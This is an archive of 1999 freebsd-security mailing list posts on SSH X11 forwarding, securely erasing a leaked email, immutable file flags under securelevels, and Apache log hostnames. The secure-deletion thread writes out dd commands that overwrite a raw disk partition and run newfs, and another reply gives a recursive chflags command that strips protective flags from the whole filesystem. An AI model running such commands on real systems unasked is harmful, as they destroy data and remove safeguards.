(but allow explicit > binding, for any user which wants simulate Xserver). > -> Deny all explicit and implicit binding for all to 31337 port, to avoid > fake BO detections. > And so on... > > I have made such implementation, but with ipfw-styled interface. If someone Are these commited? Fernando P. Schapachnik Administración de la red VIA Net Works Argentina SA Diagonal Roque Sáenz Peña 971, 4º y 5º piso. 1035 - Capital Federal, Argentina. (54-11) 4323-3333 http://www.via-net-works.net.ar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 8:17:21 1999 Delivered-To: freebsd-security@freebsd.org Received: from charon.finall.com (charon.finall.com [199.15.61.3]) by hub.freebsd.org (Postfix) with ESMTP id E4DC414CB9 for ; Thu, 24 Jun 1999 08:17:18 -0700 (PDT) (envelope-from mjung@npc.net) Received: from exchange.finall.com (exchange-gw.finall.com [10.0.158.37]) by charon.finall.com (8.9.1/8.8.8) with SMTP id LAA07974 for ; Thu, 24 Jun 1999 11:17:14 -0400 (EDT) (envelope-from mjung@npc.net) Received: by exchange.finall.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62) id <01BEBE34.04526C80@exchange.finall.com>; Thu, 24 Jun 1999 11:23:43 -0400 Message-ID: From: "Jung, Michael" To: "'security@FreeBSD.ORG'" Subject: X and SSH Date: Thu, 24 Jun 1999 11:23:42 -0400 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have been reading these threads and unless I missed something this has not seen this addressed. Suppose you use ssh, tterm etc to securely connect to a host. Once on the host you want to export your display back to a client so you can bring up a X application. How does one have the X session encrypted? Can someone supply an example _OR_ provide a better way of getting encrypted X sessions. Thanks Michael Jung mjung@npc.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 8:23: 3 1999 Delivered-To: freebsd-security@freebsd.org Received: from atdot.dotat.org (atdot.dotat.org [150.101.89.3]) by hub.freebsd.org (Postfix) with ESMTP id C496D14D20 for ; Thu, 24 Jun 1999 08:22:30 -0700 (PDT) (envelope-from newton@atdot.dotat.org) Received: (from newton@localhost) by atdot.dotat.org (8.9.3/8.7) id AAA25556; Fri, 25 Jun 1999 00:50:32 +0930 (CST) From: Mark Newton Message-Id: <199906241520.AAA25556@atdot.dotat.org> Subject: Re: X and SSH To: mjung@npc.net (Jung, Michael) Date: Fri, 25 Jun 1999 00:50:32 +0930 (CST) Cc: security@FreeBSD.ORG In-Reply-To: from "Jung, Michael" at Jun 24, 99 11:23:42 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jung, Michael wrote: > I have been reading these threads and unless I missed something > this has not seen this addressed. Suppose you use ssh, tterm etc to > securely connect to a host. Once on the host you want to export your > display back to a client so you can bring up a X application. How does > one have the X session encrypted? ssh does this for you: It automatically sets up your $DISPLAY to point to a tunnel passed back across the encrypted session. All X11 traffic is encrypted as a result (unless you override the $DISPLAY setting by manually setting it or passing a -display parameter to an X client). You can get a similar effect by running: ssh -R 6009:localhost:6000 foo.bar.com ... and manually setting your $DISPLAY to localhost:9.0 when you have successfully logged in to it. You never need to do this manually, though, because ssh configures X11 forwarding by default. - mark -------------------------------------------------------------------- I tried an internal modem, newton@atdot.dotat.org but it hurt when I walked. Mark Newton ----- Voice: +61-4-1620-2223 ------------- Fax: +61-8-82231777 ----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 8:38:21 1999 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.iserver.com (gatekeeper.iserver.com [192.41.0.2]) by hub.freebsd.org (Postfix) with ESMTP id B486A14E33 for ; Thu, 24 Jun 1999 08:38:18 -0700 (PDT) (envelope-from hart@iserver.com) Received: by gatekeeper.iserver.com; Thu, 24 Jun 1999 09:38:17 -0600 (MDT) Received: from unknown(192.168.1.109) by gatekeeper.iserver.com via smap (V3.1.1) id xma020077; Thu, 24 Jun 99 09:38:06 -0600 Received: (hart@localhost) by anchovy.orem.iserver.com (8.9.2) id JAA05573; Thu, 24 Jun 1999 09:37:28 -0600 (MDT) Date: Thu, 24 Jun 1999 09:37:27 -0600 (MDT) From: Paul Hart X-Sender: hart@anchovy.orem.iserver.com To: "Jung, Michael" Cc: security@FreeBSD.ORG Subject: Re: X and SSH In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 24 Jun 1999, Jung, Michael wrote: > I have been reading these threads and unless I missed something > this has not seen this addressed. This came up earlier this month, but maybe you missed it. Search the freebsd-security mailing list archives for "ssh" and "newbie" for a full discussion. > Suppose you use ssh, tterm etc to securely connect to a host. Once on > the host you want to export your display back to a client so you can > bring up a X application. How does one have the X session encrypted? If your SSH client and the SSH server have X11 forwarding turned on, then the DISPLAY environment variable should already be set automatically when you log into the remote machine. Don't try to set this manually! SSH will create a high-numbered display on the remote machine which it actually uses to intercept your X traffic to send it back down the SSH tunnel to your local machine. This is for the UNIX client and server. I believe that in the Windows world, SecureCRT can do X11 forwarding to a Windows X server, but I might be mistaken. > Can someone supply an example _OR_ provide a better way of getting > encrypted X sessions. SSH is probably the best way to get encrypted X sessions. If you use the defaults everywhere that come with SSH, your client installation will have X11 forwarding turned on and the remote sshd should also have it enabled. Then just log in to the remote server with SSH and immediately check your DISPLAY environment variable (don't you set it!). You should see DISPLAY set to a high-numbered display (like >10) on the the remote machine. This will be your sign that SSH X11 forwarding is in effect. Try running some X clients on the remote machine, verify that they do appear on your local X server, and check the list of open sockets on the local machine with netstat to verify that the X clients in fact did not come over a socket directly to your local X server (i.e. you don't see any active connections from the remote machine to port 6000 or so on the local machine). If the remote machine does not have X installed, it may be difficult to get sshd to do X11 forwarding because SSH likes to do things like create .Xauthority files for you on the remote machine using xauth and stock them with cookies. X11 forwarding will also be missing from sshd if the build process was unable to locate xauth at the SSH compilation configuration stage on the remote machine, as I recall. Paul Hart -- Paul Robert Hart ><8> ><8> ><8> Verio Web Hosting, Inc. hart@iserver.com ><8> ><8> ><8> http://www.iserver.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 12:31:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from a.servers.aozilla.com (unknown [216.22.145.8]) by hub.freebsd.org (Postfix) with ESMTP id 439BA14E5E for ; Thu, 24 Jun 1999 12:31:11 -0700 (PDT) (envelope-from bsd@a.servers.aozilla.com) Received: from localhost (bsd@localhost) by a.servers.aozilla.com (8.8.7/8.8.8) with ESMTP id PAA04913 for ; Thu, 24 Jun 1999 15:31:13 -0400 (EDT) Date: Thu, 24 Jun 1999 15:31:13 -0400 (EDT) From: "Mr. K." To: freebsd-security@FreeBSD.ORG Subject: re: ssh DoS attck? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org are you trying to use ssh through inetd? if not, and I understand ssh correctly, it shouldn't be generating a key for every connection, only once per (configurable) hour. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 19:11:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id EC78014E25 for ; Thu, 24 Jun 1999 19:11:11 -0700 (PDT) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.8.8) id WAA07810 for freebsd-security@freebsd.org; Thu, 24 Jun 1999 22:12:34 -0400 (EDT) (envelope-from cjc) From: "Crist J. Clark" Message-Id: <199906250212.WAA07810@cc942873-a.ewndsr1.nj.home.com> Subject: Secure Deletion To: freebsd-security@freebsd.org Date: Thu, 24 Jun 1999 22:12:34 -0400 (EDT) Reply-To: cjclark@home.com X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I looked through a long thread from last month on this topic, but was unable to get an operable answer to my problem. Problem: A file came onto a FreeBSD system. All traces of this file will (probably) need to be destroyed. The error was on someone else's part, so we did not find out until this file had propagated. There is presently an existing file that needs to be destroyed. In addition, there are existing files that had this information in them, but have since had the 'offending' part removed... OK, OK, if you have not guessed, it was some email. One person got it, forwarded it, and someone else stored it in an IMAP mailfile. The offending stuff is 'gone' from the existing mailspools, but the IMAP file exists. So, the question is... 1) Is there a way for me to securely destroy the file that still exists? For example, if I were to do something like (this is just an example), # BADLEN=`ls -l | awk '{ print $5 }'` # dd if=/dev/zero of= bs=1 count=$BADLEN # dd if=/dev/urandom of= bs=1 count=$BADLEN # dd if=/dev/zero of= bs=1 count=$BADLEN Would I know for sure that the writes physically went over the bad data? If they do, a procedure like that should be fine. 2) Now... for the files that /had/ the data, but deleted it... My suspicions here lean towards the worst case, i.e. there could be fragments of the offensive data _anywhere_ on the partition[0]. Is there a feasible way to destroy that data while preserving the other data on the partition? If not, what would be the equivalent of the above for a full partition? # umount /dev/wd1f # dd if=/dev/zero of=/dev/rwd1f count= # dd if=/dev/urandom of=/dev/rwd1f count= # dd if=/dev/zero of=/dev/rwd1f count= # newfs /dev/rwd1f Thanks for any help on this. [0] I'm pretty sure this is the case. I exec'ed grep in a find search to see where this data might have snuck off to[1], and accidently went through /dev. The file that exists is on /usr, and there was a hit on /dev/rwd0s2e. The data that exists but was 'deleted' would have been on /var. There were no hits searching /var, but I _did_ get a hit on /dev/wd1f, /var's raw device. :( [1] I did a grep for an innocent, but fairly improbable 15 character string that I knew occured in the offending data. Someone tell me there was a realistic chance of hitting that randomly? Please? -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 22:26:27 1999 Delivered-To: freebsd-security@freebsd.org Received: from users.anet-stl.com (users.anet-stl.com [209.145.150.20]) by hub.freebsd.org (Postfix) with ESMTP id 7233B150EE for ; Thu, 24 Jun 1999 22:26:22 -0700 (PDT) (envelope-from doogie@anet-stl.com) Received: from earth.anet-stl.com (doogie@earth.anet-stl.com [209.83.128.12]) by users.anet-stl.com (8.9.3/8.8.5) with SMTP id FAA23190; Fri, 25 Jun 1999 05:26:16 GMT Date: Fri, 25 Jun 1999 00:26:16 -0500 (CDT) From: Jason Young To: cjclark@home.com Cc: freebsd-security@FreeBSD.ORG Subject: Re: Secure Deletion In-Reply-To: <199906250212.WAA07810@cc942873-a.ewndsr1.nj.home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 24 Jun 1999, Crist J. Clark wrote: > 1) Is there a way for me to securely destroy the file that still > exists? For example, if I were to do something like (this is just > an example), > > # BADLEN=`ls -l | awk '{ print $5 }'` > # dd if=/dev/zero of= bs=1 count=$BADLEN > # dd if=/dev/urandom of= bs=1 count=$BADLEN > # dd if=/dev/zero of= bs=1 count=$BADLEN > > Would I know for sure that the writes physically went over the bad > data? If they do, a procedure like that should be fine. I think that would stop pretty much anyone except the NSA. > 2) Now... for the files that /had/ the data, but deleted it... My > suspicions here lean towards the worst case, i.e. there could be > fragments of the offensive data _anywhere_ on the partition[0]. Is > there a feasible way to destroy that data while preserving the > other data on the partition? If not, what would be the equivalent > of the above for a full partition? > > # umount /dev/wd1f > # dd if=/dev/zero of=/dev/rwd1f count= > # dd if=/dev/urandom of=/dev/rwd1f count= > # dd if=/dev/zero of=/dev/rwd1f count= > # newfs /dev/rwd1f > > Thanks for any help on this. Create a file that consumes all unused space on the partition. Do it as root so you get the "reserve" area too. Blat data over it as you would the existing file above. Then rm it. Must be something terribly important in that (former) file... Jason Young ANET/accessUS Chief Network Engineer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 22:45: 4 1999 Delivered-To: freebsd-security@freebsd.org Received: from srh0710.urh.uiuc.edu (srh0710.urh.uiuc.edu [130.126.76.32]) by hub.freebsd.org (Postfix) with SMTP id 99F3415105 for ; Thu, 24 Jun 1999 22:45:01 -0700 (PDT) (envelope-from ftobin@bigfoot.com) Received: (qmail 63540 invoked by uid 1000); 25 Jun 1999 05:45:00 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 25 Jun 1999 05:45:00 -0000 Date: Fri, 25 Jun 1999 00:45:00 -0500 (CDT) From: Frank Tobin X-Sender: ftobin@srh0710.urh.uiuc.edu To: FreeBSD-security Mailing List Subject: file flags during low securelevels Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm curious as to why file flags are in effect during low kernel securelevels ( < 1 ). Would it be undesirable to have these flags not in effect during low securelevels, because they can be turned off at any time? The reason I ask is that situations may arise where the whole system is simmutablized, but the administrator wants to do wide-scale file-replacement (e.g., make world) while the system is in single-user mode. Currently that would be a big PITA, since you'd have to make sure you unflag all files before replacing them. Also, during system bootup, it is not unreasonable to assume that some process would want to edit some files at boot time, but these files can be flagged after startup (e.g., /var/log/messages rotated upon startup, but then sappend'd). Is there a performance hit I'm not thinking off here? Or could we make this another sysctl knob (kern.fileflagsignored) or such? -- Frank Tobin "To learn what is good and what is to be http://www.bigfoot.com/~ftobin valued, those truths which cannot be shaken or changed." Myst: The Book of Atrus FreeBSD: The Power To Serve PGPenvelope = GPG and PGP5 + Pine PGP: 4F86 3BBB A816 6F0A 340F http://www.bigfoot.com/~ftobin/resources.html 6003 56FF D10A 260C 4FA3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 22:48:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from users.anet-stl.com (users.anet-stl.com [209.145.150.20]) by hub.freebsd.org (Postfix) with ESMTP id 3AAD314C07 for ; Thu, 24 Jun 1999 22:48:21 -0700 (PDT) (envelope-from doogie@anet-stl.com) Received: from earth.anet-stl.com (doogie@earth.anet-stl.com [209.83.128.12]) by users.anet-stl.com (8.9.3/8.8.5) with SMTP id FAA25213; Fri, 25 Jun 1999 05:48:17 GMT Date: Fri, 25 Jun 1999 00:48:16 -0500 (CDT) From: Jason Young To: Frank Tobin Cc: FreeBSD-security Mailing List Subject: Re: file flags during low securelevels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The immutable and other flags protect against accidental as well as malicious damage. If they don't do their job in low securelevels, then they don't do their job in out-of-the-box FreeBSD installations and any other installation where the admin has not or does not know to raise the securelevel. Jason Young ANET/accessUS Chief Network Engineer On Fri, 25 Jun 1999, Frank Tobin wrote: > I'm curious as to why file flags are in effect during low kernel > securelevels ( < 1 ). Would it be undesirable to have these flags not in > effect during low securelevels, because they can be turned off at any > time? The reason I ask is that situations may arise where the whole > system is simmutablized, but the administrator wants to do wide-scale > file-replacement (e.g., make world) while the system is in single-user > mode. Currently that would be a big PITA, since you'd have to make sure > you unflag all files before replacing them. Also, during system bootup, > it is not unreasonable to assume that some process would want to edit some > files at boot time, but these files can be flagged after startup (e.g., > /var/log/messages rotated upon startup, but then sappend'd). > > Is there a performance hit I'm not thinking off here? Or could we make > this another sysctl knob (kern.fileflagsignored) or such? > > -- > Frank Tobin "To learn what is good and what is to be > http://www.bigfoot.com/~ftobin valued, those truths which cannot be > shaken or changed." Myst: The Book of Atrus > FreeBSD: The Power To Serve > > PGPenvelope = GPG and PGP5 + Pine PGP: 4F86 3BBB A816 6F0A 340F > http://www.bigfoot.com/~ftobin/resources.html 6003 56FF D10A 260C 4FA3 > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 22:50:11 1999 Delivered-To: freebsd-security@freebsd.org Received: from srh0710.urh.uiuc.edu (srh0710.urh.uiuc.edu [130.126.76.32]) by hub.freebsd.org (Postfix) with SMTP id 5429514C07 for ; Thu, 24 Jun 1999 22:50:09 -0700 (PDT) (envelope-from ftobin@bigfoot.com) Received: (qmail 63584 invoked by uid 1000); 25 Jun 1999 05:50:08 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 25 Jun 1999 05:50:08 -0000 Date: Fri, 25 Jun 1999 00:50:08 -0500 (CDT) From: Frank Tobin X-Sender: ftobin@srh0710.urh.uiuc.edu To: Jason Young Cc: FreeBSD-security Mailing List Subject: Re: file flags during low securelevels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jason Young, at 00:48 on Fri, 25 Jun 1999, wrote: > The immutable and other flags protect against accidental as well as > malicious damage. If they don't do their job in low securelevels, then > they don't do their job in out-of-the-box FreeBSD installations and any > other installation where the admin has not or does not know to raise the > securelevel. Okay, so how about a sysctl knob for it? -- Frank Tobin "To learn what is good and what is to be http://www.bigfoot.com/~ftobin valued, those truths which cannot be shaken or changed." Myst: The Book of Atrus FreeBSD: The Power To Serve PGPenvelope = GPG and PGP5 + Pine PGP: 4F86 3BBB A816 6F0A 340F http://www.bigfoot.com/~ftobin/resources.html 6003 56FF D10A 260C 4FA3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 23: 2:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from users.anet-stl.com (users.anet-stl.com [209.145.150.20]) by hub.freebsd.org (Postfix) with ESMTP id B54C114C07 for ; Thu, 24 Jun 1999 23:02:44 -0700 (PDT) (envelope-from doogie@anet-stl.com) Received: from earth.anet-stl.com (doogie@earth.anet-stl.com [209.83.128.12]) by users.anet-stl.com (8.9.3/8.8.5) with SMTP id GAA26330; Fri, 25 Jun 1999 06:02:39 GMT Date: Fri, 25 Jun 1999 01:02:38 -0500 (CDT) From: Jason Young To: Frank Tobin Cc: FreeBSD-security Mailing List Subject: Re: file flags during low securelevels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 25 Jun 1999, Frank Tobin wrote: > Jason Young, at 00:48 on Fri, 25 Jun 1999, wrote: > > > The immutable and other flags protect against accidental as well as > > malicious damage. If they don't do their job in low securelevels, then > > they don't do their job in out-of-the-box FreeBSD installations and any > > other installation where the admin has not or does not know to raise the > > securelevel. > > Okay, so how about a sysctl knob for it? In what situations are you running into problems with schg/sappnd? There's only a few things that are schg/sappnd out of the box, and those targets are handled by make world and the kernel install target automatically assuming you're in an appropriate securelevel. An admin who has the knowledge, need and will to remove schg/sappnd flag protections should just do it - "chflags -R noschg nosappnd /." I'm not -opposed- to a knob, I just don't see a use for it. Jason Young ANET/accessUS Chief Network Engineer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jun 24 23:13:10 1999 Delivered-To: freebsd-security@freebsd.org Received: from srh0710.urh.uiuc.edu (srh0710.urh.uiuc.edu [130.126.76.32]) by hub.freebsd.org (Postfix) with SMTP id DCC4E14C0F for ; Thu, 24 Jun 1999 23:13:07 -0700 (PDT) (envelope-from ftobin@bigfoot.com) Received: (qmail 63661 invoked by uid 1000); 25 Jun 1999 06:13:04 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 25 Jun 1999 06:13:04 -0000 Date: Fri, 25 Jun 1999 01:13:04 -0500 (CDT) From: Frank Tobin X-Sender: ftobin@srh0710.urh.uiuc.edu To: FreeBSD-security Mailing List Subject: Re: file flags during low securelevels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jason Young, at 01:02 on Fri, 25 Jun 1999, wrote: > In what situations are you running into problems with schg/sappnd? There's > only a few things that are schg/sappnd out of the box, and those targets > are handled by make world and the kernel install target automatically > assuming you're in an appropriate securelevel. I haven't looked that thorougly into the 'make world' installation process, but from watching output, it doesn't seem like it removes file flags from files it installs. Only on the ones in /usr/obj. > An admin who has the knowledge, need and will to remove schg/sappnd flag > protections should just do it - "chflags -R noschg nosappnd /." This doesn't preserve the current state of flags on the filesystem. It requires the admin going back through and resetting all the flags. Like I stated before, having this sort of knob would allow various programs on startup to ignore the state of these flags before the securelevel is raised, permitting them to do various things like rotate syslog, write out state information (SKIP), and a few other things. There are probably a lot I'm not thinking off. -- Frank Tobin "To learn what is good and what is to be http://www.bigfoot.com/~ftobin valued, those truths which cannot be shaken or changed." Myst: The Book of Atrus FreeBSD: The Power To Serve PGPenvelope = GPG and PGP5 + Pine PGP: 4F86 3BBB A816 6F0A 340F http://www.bigfoot.com/~ftobin/resources.html 6003 56FF D10A 260C 4FA3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 0:12: 0 1999 Delivered-To: freebsd-security@freebsd.org Received: from jason.argos.org (a1-3b169.neo.rr.com [24.93.181.169]) by hub.freebsd.org (Postfix) with ESMTP id EE83B14D2B for ; Fri, 25 Jun 1999 00:11:56 -0700 (PDT) (envelope-from mike@argos.org) Received: from localhost (mike@localhost) by jason.argos.org (8.9.1/8.9.1) with ESMTP id DAA02357; Fri, 25 Jun 1999 03:16:23 -0400 Date: Fri, 25 Jun 1999 03:16:22 -0400 (EDT) From: Mike Nowlin To: Frank Tobin Cc: FreeBSD-security Mailing List Subject: Re: file flags during low securelevels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > This doesn't preserve the current state of flags on the filesystem. It > requires the admin going back through and resetting all the flags. > > Like I stated before, having this sort of knob would allow various > programs on startup to ignore the state of these flags before the > securelevel is raised, permitting them to do various things like rotate > syslog, write out state information (SKIP), and a few other things. There > are probably a lot I'm not thinking off. During startup, you know what's going on... If you're going to write script files to do things like rotate logs, what's the point of adding extra bulk to the kernel (not to mention something else I have to teach my clients) when you can do something like this: 1. Unlock the files 2. Rotate the files 3. Lock the files If you're writing the scripts, the extra couple of lines it takes to handle this doesn't really require changes to the kernel and the addition of possible security holes. As far as I'm concerned, the file flags that are present in the system do more for protecting the system against an unexperienced person learning FreeBSD than keeping Joe Weenie who just broke into your box from erasing the logs... Which one happens more often? If you're running around making /bin/date immutable, sticking these files into a "fixfileflags" script to be run after "make world" shouldn't be too tough. (Disclaimer: This message was written after getting really ticked off from staring at an oscilloscope for the last six hours, trying to figure out what's wrong with one of the coax backbones at work, then coming home and "debugging" a Budweiser 6-pack board. :) Forgive me.) --Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 1: 3:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from florence.pavilion.net (florence.pavilion.net [194.242.128.25]) by hub.freebsd.org (Postfix) with ESMTP id 18F041551A for ; Fri, 25 Jun 1999 01:03:35 -0700 (PDT) (envelope-from joe@florence.pavilion.net) Received: (from joe@localhost) by florence.pavilion.net (8.9.2/8.8.8) id JAA85039; Fri, 25 Jun 1999 09:03:16 +0100 (BST) (envelope-from joe) Date: Fri, 25 Jun 1999 09:03:16 +0100 From: Josef Karthauser To: Joe Gleason Cc: junkmale@xtra.co.nz, security@FreeBSD.ORG Subject: Re: ssh from windows Message-ID: <19990625090316.R27440@pavilion.net> References: <19990623193929.GJUZ784493.mta1-rme@wocker> <009701bebdb9$6d574d70$0286860a@tasam.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <009701bebdb9$6d574d70$0286860a@tasam.com>; from Joe Gleason on Wed, Jun 23, 1999 at 04:46:06PM -0400 X-NCC-RegID: uk.pavilion Organisation: Pavilion Internet plc, 24 The Old Steine, Brighton, BN1 1EL, England Phone: +44-845-333-5000 Fax: +44-845-333-5001 Mobile: +44-403-596893 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Jun 23, 1999 at 04:46:06PM -0400, Joe Gleason wrote: > > Generating an RSA key should be a function of your ssh client software. > Maybe there is a way to create it on a unix box and move it, but I have > never tried that. > This works, I've done this on a number of occasions. I believe however that there is also an .exe in the program directory for creating keys. Joe -- Josef Karthauser FreeBSD: How many times have you booted today? Technical Manager Viagra for your server (http://www.uk.freebsd.org) Pavilion Internet plc. [joe@pavilion.net, joe@uk.freebsd.org, joe@tao.org.uk] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 9:13: 3 1999 Delivered-To: freebsd-security@freebsd.org Received: from alecto.physics.uiuc.edu (alecto.physics.uiuc.edu [130.126.8.20]) by hub.freebsd.org (Postfix) with ESMTP id ED46F14DFA for ; Fri, 25 Jun 1999 09:13:01 -0700 (PDT) (envelope-from igor@alecto.physics.uiuc.edu) Received: (from igor@localhost) by alecto.physics.uiuc.edu (8.9.0/8.9.0) id LAA12378 for security@freebsd.org; Fri, 25 Jun 1999 11:13:01 -0500 (CDT) From: Igor Roshchin Message-Id: <199906251613.LAA12378@alecto.physics.uiuc.edu> Subject: strange host name in apache logs To: security@freebsd.org Date: Fri, 25 Jun 1999 11:13:00 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello! I noticed a couple occasions when the visitor's host name in apache logs looks like: cache.cisco - - [24/May/1999:18:07:17 -0400] "GET /jul98/jul8.html HTTP/1.0" 304 - Any idea about what that might mean ? The server is running 2.1-STABLE, and apache 1.2b10 (Yes, I know, it needs to be upgraded, and it will be). I have the host resolving enabled (when writing to the logs) for the httpd. Thanks Igor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 9:58:48 1999 Delivered-To: freebsd-security@freebsd.org Received: from fantasy.netreach.net (fantasy.netreach.net [205.197.101.219]) by hub.freebsd.org (Postfix) with ESMTP id F272315795 for ; Fri, 25 Jun 1999 09:58:41 -0700 (PDT) (envelope-from petef@netreach.net) Received: from borneo (borneo.netreach.net [205.197.101.111]) by fantasy.netreach.net (8.9.3/8.9.0) with SMTP id MAA11273; Fri, 25 Jun 1999 12:59:36 -0400 (EDT) Date: Fri, 25 Jun 1999 13:01:50 -0400 (EDT) From: Pete Fritchman X-Sender: petef@borneo To: Igor Roshchin Cc: security@FreeBSD.ORG Subject: Re: strange host name in apache logs In-Reply-To: <199906251613.LAA12378@alecto.physics.uiuc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Do you have a cisco router with web-caching enabled or some cisco product with that? It looks obvious that you do. --------------------------------------------- Pete Fritchman petef@netreach.net Netreach www.netreach.net System Administrator On Fri, 25 Jun 1999, Igor Roshchin wrote: > > Hello! > > I noticed a couple occasions when the visitor's host name in apache logs > looks like: > cache.cisco - - [24/May/1999:18:07:17 -0400] "GET /jul98/jul8.html HTTP/1.0" 304 - > > Any idea about what that might mean ? > The server is running 2.1-STABLE, and apache 1.2b10 > (Yes, I know, it needs to be upgraded, and it will be). > > I have the host resolving enabled (when writing to the logs) for the httpd. > > Thanks > > Igor > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 10:29:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.darkridge.com (dxm.darkridge.com [146.115.192.34]) by hub.freebsd.org (Postfix) with SMTP id 6609515011 for ; Fri, 25 Jun 1999 10:29:49 -0700 (PDT) (envelope-from don@cyberspace2000.com) Received: (qmail 21573 invoked from network); 25 Jun 1999 17:41:33 -0000 Received: from unknown (HELO default) (unknown) by unknown with SMTP; 25 Jun 1999 17:41:33 -0000 Message-ID: <00e201bebf31$05de25a0$7b1f2299@default> From: "Don Sausa" To: "Igor Roshchin" , Subject: Re: strange host name in apache logs Date: Fri, 25 